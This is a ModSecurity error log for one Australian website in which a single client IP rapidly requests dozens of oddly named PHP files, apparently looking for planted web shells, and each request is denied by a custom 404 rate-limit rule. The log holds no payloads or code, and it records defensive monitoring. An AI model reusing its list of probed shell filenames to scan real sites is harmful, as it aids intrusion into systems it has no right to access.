[Wed Apr 08 20:51:23.682327 2026] [:error] [pid 12453:tid 12459] [client 68.221.129.52:41639] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "adZPSxjtW7S6XsLPvrQrKgAAAIQ"]
[Wed Apr 08 20:51:24.403460 2026] [:error] [pid 7047:tid 7049] [client 68.221.129.52:46563] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "adZPTONh3oGO3pKiCzwWogAAAYA"]
[Wed Apr 08 20:51:25.027378 2026] [:error] [pid 7047:tid 7057] [client 68.221.129.52:52913] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xdd.php"] [unique_id "adZPTeNh3oGO3pKiCzwWpwAAAYg"]
[Wed Apr 08 20:51:25.723484 2026] [:error] [pid 7047:tid 7073] [client 68.221.129.52:34979] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xdd.php"] [unique_id "adZPTeNh3oGO3pKiCzwWqQAAAZg"]
[Wed Apr 08 20:51:26.377158 2026] [:error] [pid 7047:tid 7060] [client 68.221.129.52:33781] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xdd.php"] [unique_id "adZPTuNh3oGO3pKiCzwWqwAAAYs"]
[Wed Apr 08 20:51:26.898209 2026] [:error] [pid 64066:tid 64080] [client 68.221.129.52:2337] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xdd.php"] [unique_id "adZPTlR3WucJgr2vZGY-EwAAAUs"]
[Wed Apr 08 20:51:27.554514 2026] [:error] [pid 7189:tid 7196] [client 68.221.129.52:40358] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adZPTxaBqhBSu0L37lrTUwAAAcU"]
[Wed Apr 08 20:51:28.125023 2026] [:error] [pid 12385:tid 12393] [client 68.221.129.52:46530] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adZPUCAjtvRQEkLosq2eXwAAAAQ"]
[Wed Apr 08 20:51:28.744737 2026] [:error] [pid 7047:tid 7068] [client 68.221.129.52:54671] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adZPUONh3oGO3pKiCzwWtQAAAZM"]
[Wed Apr 08 20:51:29.399483 2026] [:error] [pid 7047:tid 7073] [client 68.221.129.52:46566] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ggb.php"] [unique_id "adZPUeNh3oGO3pKiCzwWuAAAAZg"]
[Wed Apr 08 20:51:30.316002 2026] [:error] [pid 12453:tid 12455] [client 68.221.129.52:40344] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "adZPUhjtW7S6XsLPvrQrMwAAAIA"]
[Wed Apr 08 20:51:30.853782 2026] [:error] [pid 35642:tid 35664] [client 68.221.129.52:54704] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "adZPUg-CqryxdEs5DN9aegAAAFQ"]
[Wed Apr 08 20:51:31.582755 2026] [:error] [pid 12453:tid 12477] [client 68.221.129.52:57711] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "adZPUxjtW7S6XsLPvrQrNgAAAJY"]
[Wed Apr 08 20:51:32.718913 2026] [:error] [pid 12385:tid 12397] [client 68.221.129.52:46559] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "adZPVCAjtvRQEkLosq2eYwAAAAg"]
[Wed Apr 08 20:51:33.524281 2026] [:error] [pid 12490:tid 12508] [client 68.221.129.52:57716] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update1.php"] [unique_id "adZPVW1Fea4F4fbumr0AxwAAANA"]
[Wed Apr 08 20:51:34.137303 2026] [:error] [pid 7189:tid 7213] [client 68.221.129.52:46535] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update1.php"] [unique_id "adZPVhaBqhBSu0L37lrTZgAAAdY"]
[Wed Apr 08 20:51:34.771299 2026] [:error] [pid 7047:tid 7071] [client 68.221.129.52:34980] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update1.php"] [unique_id "adZPVuNh3oGO3pKiCzwWxwAAAZY"]
[Wed Apr 08 20:51:35.374582 2026] [:error] [pid 7047:tid 7060] [client 68.221.129.52:48975] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update1.php"] [unique_id "adZPV-Nh3oGO3pKiCzwWyAAAAYs"]
[Wed Apr 08 20:51:35.915290 2026] [:error] [pid 12453:tid 12462] [client 68.221.129.52:41652] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "adZPVxjtW7S6XsLPvrQrOAAAAIc"]
[Wed Apr 08 20:51:36.706939 2026] [:error] [pid 35642:tid 35666] [client 68.221.129.52:33776] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "adZPWA-CqryxdEs5DN9agwAAAFY"]
[Wed Apr 08 20:51:37.386023 2026] [:error] [pid 7047:tid 7069] [client 68.221.129.52:47780] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "adZPWeNh3oGO3pKiCzwWzgAAAZQ"]
[Wed Apr 08 20:51:48.280839 2026] [:error] [pid 64066:tid 64070] [client 68.221.129.52:52900] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "adZPZFR3WucJgr2vZGY-QAAAAUE"]
[Wed Apr 08 20:51:50.107350 2026] [:error] [pid 35642:tid 35657] [client 68.221.129.52:43394] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "adZPZg-CqryxdEs5DN9ajAAAAE0"]
[Wed Apr 08 20:51:51.103441 2026] [:error] [pid 12453:tid 12460] [client 68.221.129.52:46565] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "adZPZxjtW7S6XsLPvrQraAAAAIU"]
[Wed Apr 08 20:51:52.176820 2026] [:error] [pid 12453:tid 12455] [client 68.221.129.52:45716] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "adZPaBjtW7S6XsLPvrQraQAAAIA"]
[Wed Apr 08 20:51:53.383160 2026] [:error] [pid 7047:tid 7056] [client 68.221.129.52:45818] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vdb.php"] [unique_id "adZPaeNh3oGO3pKiCzwXBwAAAYc"]
[Wed Apr 08 20:51:54.545760 2026] [:error] [pid 7047:tid 7067] [client 68.221.129.52:56901] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vdb.php"] [unique_id "adZPauNh3oGO3pKiCzwXEgAAAZI"]
[Wed Apr 08 20:51:55.677046 2026] [:error] [pid 7047:tid 7064] [client 68.221.129.52:45707] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vdb.php"] [unique_id "adZPa-Nh3oGO3pKiCzwXFgAAAY8"]
[Wed Apr 08 20:51:56.498052 2026] [:error] [pid 12386:tid 12433] [client 68.221.129.52:2941] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vdb.php"] [unique_id "adZPbBLhhLtqHi2gK7UZIgAAARE"]
[Wed Apr 08 20:51:57.064038 2026] [:error] [pid 64066:tid 64073] [client 68.221.129.52:55471] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/om.php"] [unique_id "adZPbVR3WucJgr2vZGY-TgAAAUQ"]
[Wed Apr 08 20:51:57.691594 2026] [:error] [pid 64066:tid 64092] [client 68.221.129.52:56839] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/om.php"] [unique_id "adZPbVR3WucJgr2vZGY-UQAAAVc"]
[Wed Apr 08 20:51:58.306057 2026] [:error] [pid 7189:tid 7208] [client 68.221.129.52:2911] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/om.php"] [unique_id "adZPbhaBqhBSu0L37lrThgAAAdE"]
[Wed Apr 08 20:51:58.849018 2026] [:error] [pid 64066:tid 64074] [client 68.221.129.52:37869] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/om.php"] [unique_id "adZPblR3WucJgr2vZGY-VQAAAUU"]
[Wed Apr 08 20:51:59.373568 2026] [:error] [pid 7047:tid 7065] [client 68.221.129.52:46512] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ox.php"] [unique_id "adZPb-Nh3oGO3pKiCzwXHwAAAZA"]
[Wed Apr 08 20:51:59.916971 2026] [:error] [pid 7047:tid 7054] [client 68.221.129.52:55434] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ox.php"] [unique_id "adZPb-Nh3oGO3pKiCzwXIgAAAYU"]
[Wed Apr 08 20:52:00.644538 2026] [:error] [pid 7189:tid 7207] [client 68.221.129.52:55935] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ox.php"] [unique_id "adZPcBaBqhBSu0L37lrTiQAAAdA"]
[Wed Apr 08 20:52:01.247044 2026] [:error] [pid 12453:tid 12455] [client 68.221.129.52:50055] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ox.php"] [unique_id "adZPcRjtW7S6XsLPvrQrcgAAAIA"]
[Wed Apr 08 20:52:01.808637 2026] [:error] [pid 7189:tid 7204] [client 68.221.129.52:48371] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "adZPcRaBqhBSu0L37lrTjAAAAc0"]
[Wed Apr 08 20:52:02.337764 2026] [:error] [pid 7047:tid 7073] [client 68.221.129.52:57607] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "adZPcuNh3oGO3pKiCzwXKQAAAZg"]
[Wed Apr 08 20:52:03.097732 2026] [:error] [pid 12385:tid 12399] [client 68.221.129.52:50671] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "adZPcyAjtvRQEkLosq2ecgAAAAo"]
[Wed Apr 08 20:52:03.820933 2026] [:error] [pid 12490:tid 12516] [client 68.221.129.52:35653] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "adZPc21Fea4F4fbumr0A0gAAANg"]
[Wed Apr 08 20:52:04.543601 2026] [:error] [pid 12386:tid 12429] [client 68.221.129.52:57642] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h2h.php"] [unique_id "adZPdBLhhLtqHi2gK7UZKwAAAQ0"]
[Wed Apr 08 20:52:05.340380 2026] [:error] [pid 12490:tid 12512] [client 68.221.129.52:50054] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h2h.php"] [unique_id "adZPdW1Fea4F4fbumr0A1AAAANQ"]
[Wed Apr 08 20:52:06.081551 2026] [:error] [pid 7047:tid 7062] [client 68.221.129.52:45262] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h2h.php"] [unique_id "adZPduNh3oGO3pKiCzwXMwAAAY0"]
[Wed Apr 08 20:52:06.818046 2026] [:error] [pid 7047:tid 7050] [client 68.221.129.52:45252] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h2h.php"] [unique_id "adZPduNh3oGO3pKiCzwXNgAAAYE"]
[Wed Apr 08 20:52:08.190797 2026] [:error] [pid 12385:tid 12396] [client 68.221.129.52:55895] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adZPeCAjtvRQEkLosq2ecwAAAAc"]
[Wed Apr 08 20:52:08.881077 2026] [:error] [pid 35642:tid 35654] [client 68.221.129.52:2220] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adZPeA-CqryxdEs5DN9alwAAAEo"]
[Wed Apr 08 20:52:10.351059 2026] [:error] [pid 7047:tid 7050] [client 68.221.129.52:45251] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adZPeuNh3oGO3pKiCzwXRwAAAYE"]
[Wed Apr 08 20:52:12.231902 2026] [:error] [pid 7047:tid 7053] [client 68.221.129.52:50100] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "adZPfONh3oGO3pKiCzwXTgAAAYQ"]
[Wed Apr 08 20:52:13.391436 2026] [:error] [pid 64066:tid 64088] [client 68.221.129.52:35701] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "adZPfVR3WucJgr2vZGY-ZAAAAVM"]
[Wed Apr 08 20:52:14.083391 2026] [:error] [pid 12385:tid 12402] [client 68.221.129.52:50107] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "adZPfiAjtvRQEkLosq2edwAAAA0"]
[Wed Apr 08 20:52:14.847814 2026] [:error] [pid 12453:tid 12464] [client 68.221.129.52:37777] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "adZPfhjtW7S6XsLPvrQregAAAIk"]
[Wed Apr 08 20:52:15.466127 2026] [:error] [pid 64066:tid 64093] [client 68.221.129.52:37814] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "adZPf1R3WucJgr2vZGY-ZgAAAVg"]
[Wed Apr 08 20:52:16.318927 2026] [:error] [pid 64066:tid 64087] [client 68.221.129.52:37101] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adZPgFR3WucJgr2vZGY-aQAAAVI"]
[Wed Apr 08 20:52:16.878772 2026] [:error] [pid 35642:tid 35647] [client 68.221.129.52:42984] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adZPgA-CqryxdEs5DN9amwAAAEM"]
[Wed Apr 08 20:52:17.435538 2026] [:error] [pid 35642:tid 35649] [client 68.221.129.52:37068] [client 68.221.129.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lupo.php"] [unique_id "adZPgQ-CqryxdEs5DN9anQAAAEU"]
